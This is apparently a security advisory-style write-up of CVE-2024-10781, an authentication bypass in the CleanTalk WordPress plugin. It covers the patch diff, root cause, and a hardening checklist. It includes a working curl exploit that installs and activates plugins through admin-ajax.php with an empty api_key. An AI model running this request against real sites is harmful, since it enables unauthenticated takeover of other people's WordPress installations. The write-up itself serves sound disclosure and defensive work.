The Exploit
Attacker needs no valid CleanTalk API key or authenticated WordPress session.
curl -i -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "action=apbct_perform" \
--data-urlencode "api_key=" \
--data-urlencode "plugin_slug=classic-editor" \
--data-urlencode "activate=1"
The response returns a successful plugin installation/activation payload instead of an authentication error. The target site ends up with the chosen plugin installed and activated even though the request supplied an empty api_key.
What the Patch Did
Before:
$api_key = RequestParameters::get('api_key');
if ( isset($_REQUEST['api_key']) ) {
$this->perform_action();
}
After:
$api_key = RequestParameters::get('api_key', true);
if ( empty($api_key) ) {
return $this->error('API key missing');
}
$this->perform_action();
The patch added an explicit empty() check on the api_key parameter and switched the parameter fetch to the plugin’s stricter RequestParameters::get(..., true) helper. That prevents empty strings from bypassing the authorization gate.
Root Cause
This is an authentication/authorization bug in perform(): attacker-controlled api_key comes from the POST body and reaches the plugin installation code without a non-empty validation check. The code treated the mere presence of api_key as sufficient trust, so api_key= or missing value still allowed the path that installs and activates plugins. CWE-287 (Improper Authentication) applies because the plugin failed to enforce the intended credential requirement before invoking privileged plugin management operations.
Why It Works
The load-bearing fix is the if ( empty($api_key) ) guard. Without that line, the perform_action() path still executes on a request that includes api_key as an empty string. The rest of the patch—using RequestParameters::get(..., true)—is hardening and sanitation, but the attack only succeeds because api_key was not rejected when it was empty. The developer likely added the other line to normalize input handling across the plugin and reduce the chance of other malformed request bypasses.
Hardening Checklist
- Use
current_user_can('install_plugins')andcurrent_user_can('activate_plugins')around any code that installs or activates plugins. - Protect AJAX endpoints with
wp_verify_nonce()and disablewp_ajax_nopriv_*for privileged actions whenever possible. - Validate required fields with
empty()ortrim()instead ofisset(), especially for secret or token parameters. - Sanitize input using
sanitize_text_field()or the plugin’s ownRequestParameters::get(..., true)wrapper before use. - Do not expose arbitrary plugin installation controls to unauthenticated requests; restrict plugin-slug input to a whitelist if installer automation is required.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-10781